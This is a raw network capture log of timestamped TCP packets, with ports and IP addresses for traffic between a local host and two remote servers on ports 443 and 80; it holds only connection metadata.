Jan 14, 2022 21:05:57.695679903 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.695692062 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.695915937 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.695936918 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.695964098 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.695981979 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.695998907 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.696036100 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.696077108 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.696126938 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.696173906 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.722898006 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.722924948 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.723030090 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.725483894 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.725495100 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.725569963 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.725584984 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.725622892 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.725631952 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.725641012 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.725709915 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.725719929 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.725790977 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.725804090 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.725836039 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.725872993 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.756548882 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.756573915 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.756681919 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.761434078 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.761451006 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.761467934 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.761486053 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.761548996 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.761555910 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.761612892 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.761624098 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.761639118 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.761668921 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.761693954 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.761702061 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.761740923 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.761785030 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.761962891 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.796092987 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.796113968 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.796139002 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.796264887 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.796281099 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.801089048 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.801107883 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.801135063 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.801145077 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.801373959 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.801387072 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.801413059 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.801454067 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.801537037 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.801592112 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.832541943 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.832562923 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.832679987 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.835064888 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.835083008 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.835118055 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.835136890 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.835258961 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.835269928 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.835303068 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.835352898 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.835361958 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.835453033 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.868940115 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.868964911 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.869066000 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.875129938 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.875144005 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.875164032 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.875185966 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.875194073 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.875261068 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.875269890 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.875339031 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.875350952 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.875423908 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.875471115 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.914401054 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.914423943 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.914443970 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.914580107 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.917279959 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.917298079 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.917331934 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.917342901 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.917536974 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.917552948 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.917639017 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.917649984 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.917700052 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.917759895 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.953239918 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.953267097 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.953370094 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.958616972 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.958630085 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.958652973 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.958676100 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.958813906 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.958822966 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.958833933 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.958935022 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.958988905 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.994915962 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.994940042 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.995053053 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:58.008769035 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:58.008789062 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:58.008811951 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:58.008841038 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:58.008846998 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:58.008855104 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:58.008938074 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:58.009052038 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:58.048226118 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:58.051383972 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:58.116144896 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:58.116187096 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:58.116203070 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:58.116213083 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:59.991372108 CET	49897	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.008802891 CET	80	49897	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.008975029 CET	49897	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.009092093 CET	49897	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.009114027 CET	49897	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.026324034 CET	80	49897	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.130774975 CET	80	49897	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.131490946 CET	49897	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.131716013 CET	49897	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.148823023 CET	80	49897	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.175801039 CET	49898	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.193094015 CET	80	49898	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.193203926 CET	49898	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.193609953 CET	49898	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.193622112 CET	49898	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.210817099 CET	80	49898	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.210844994 CET	80	49898	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.319586039 CET	80	49898	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.320409060 CET	49898	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.320655107 CET	49898	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.337884903 CET	80	49898	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.560564041 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.578175068 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.578299046 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.578407049 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.637264013 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.680896997 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681005001 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681055069 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.681061983 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681116104 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681168079 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681216002 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.681221008 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681268930 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.681273937 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681327105 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681377888 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681428909 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.681433916 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.681478024 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.698779106 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720449924 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720509052 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720539093 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.720546007 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720585108 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720623970 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720638990 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.720664024 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720676899 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.720700979 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720736027 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720750093 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.720772982 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720817089 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720865965 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.720868111 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720911026 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720916986 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.720948935 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.720984936 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.721018076 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.721045971 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.721084118 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.721091032 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.721120119 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.721157074 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.721220016 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.721227884 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.738398075 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.738444090 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.738480091 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.738629103 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.759804964 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.759856939 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.759891987 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.759927988 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.759963989 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.759967089 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760000944 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760035038 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760037899 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760076046 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760111094 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760132074 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760148048 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760171890 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760184050 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760221004 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760257006 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760270119 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760296106 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760302067 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760333061 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760369062 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760402918 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760416031 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760438919 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760446072 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760474920 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760510921 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760549068 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760581970 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760606050 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760637045 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760643959 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760680914 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760713100 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760725021 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760749102 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760765076 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760783911 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760818958 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760854959 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760863066 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760888100 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760901928 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760924101 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760958910 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.760977030 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.760993004 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.761028051 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.761061907 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.761074066 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.761097908 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.761104107 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.761133909 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.761168003 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.761203051 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.761209011 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.761238098 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.761248112 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.778587103 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.778644085 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.778682947 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.778716087 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.778783083 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.778831959 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.799767017 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.799839020 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.799900055 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.799935102 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.799957991 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.799972057 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800019026 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800076008 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800132990 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800137043 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800187111 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800190926 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800251007 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800304890 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800359964 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800362110 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800415039 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800421000 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800477982 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800533056 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800574064 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800589085 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800615072 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800632954 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800657034 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800693989 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800731897 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800749063 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800770998 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800786018 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800808907 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800847054 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800883055 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800899982 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800921917 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.800939083 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.800968885 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801004887 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801043034 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801059961 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801081896 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801100016 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801120043 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801158905 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801196098 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801212072 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801234007 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801264048 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801299095 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801347971 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801397085 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801399946 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801443100 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801450968 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801480055 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801517010 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801553011 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801564932 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801590919 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801609039 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801634073 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801670074 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801707983 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801721096 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801747084 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801753998 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801784039 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801821947 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801875114 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801886082 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.801924944 CET	80	49899	8.209.70.0	192.168.2.5
